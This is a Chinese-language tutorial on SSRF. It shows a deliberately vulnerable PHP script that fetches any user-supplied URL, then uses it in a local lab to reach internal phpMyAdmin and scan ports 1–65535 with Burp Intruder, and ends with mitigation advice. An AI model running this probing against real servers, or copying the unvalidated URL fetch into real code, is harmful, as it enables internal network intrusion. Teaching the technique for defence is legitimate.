网络安全/渗透测试/代码审计/
关注
SSRF漏洞原理与利用
SSRF(Server-Side Request Forgery),服务器端请求伪造;利用一个可以发起网络请求的服务,可以当做跳板来攻击其他服务。
内外网的端口和服务探测
主机本地敏感数据的读取
内外网主机应用程序漏洞的利用
…… 等等
能够对外发起网络请求的地方,就可能存在SSRF漏洞
从远程服务器请求资源(Upload from URL,Import & Export RSS feed)
数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
Webmail收取其他邮箱邮件(POP3/IMAP/SMTP)
文件处理,编码处理,属性信息处理(ffpmg,ImageMaic,DOCX,PDF,XML处理器)
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>访问URL:
http://127.0.0.1/web/ssrf.php?url=www.baidu.com
可以看到,用GET请求让服务端请求百度的URL成功
当我们设置参数URL为内网的时候,那就会泄露/探测到内网的信息
比如内网下有一个http://127.0.0.1/phpmyadmin/
我们尝试让服务端请求这个phpmyadmin,其构造URL:
http://localhost/web/ssrf.php?url=127.0.0.1/phpmyadmin/
首先访问URL:
http://localhost/web/ssrf.php?url=127.0.0.1
然后打开BurpSuite抓包:
数据包如下:
GET /web/ssrf.php?url=127.0.0.1 HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close右键 - Send to Inturder:
设置变量:
GET /web/ssrf.php?url=127.0.0.1:§port§
设置字典:
Number: From:1 - To:65535 - Step:1
数字类型(Number)——这种类型的Payload是指根据配置,生成一系列的数字作为Payload
Type表示使用序列还是随机数
From表示从什么数字开始
To表示到什么数字截止
Step表示步长是多少
…… 具体的可以看看BurpSuite实用手册
Intruder attack 结果:
扫描/探测后,开放了:80、8080、912、902、3306端口
80:HTTP
8080:代理服务器端口(因为打开了BurpSuite)
912:虚拟机监听端口
902:Vmware使用的端口
3306:Mysql服务默认端口
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
限制请求的端口为http常用的端口,比如,80,443,8080,8090。
黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。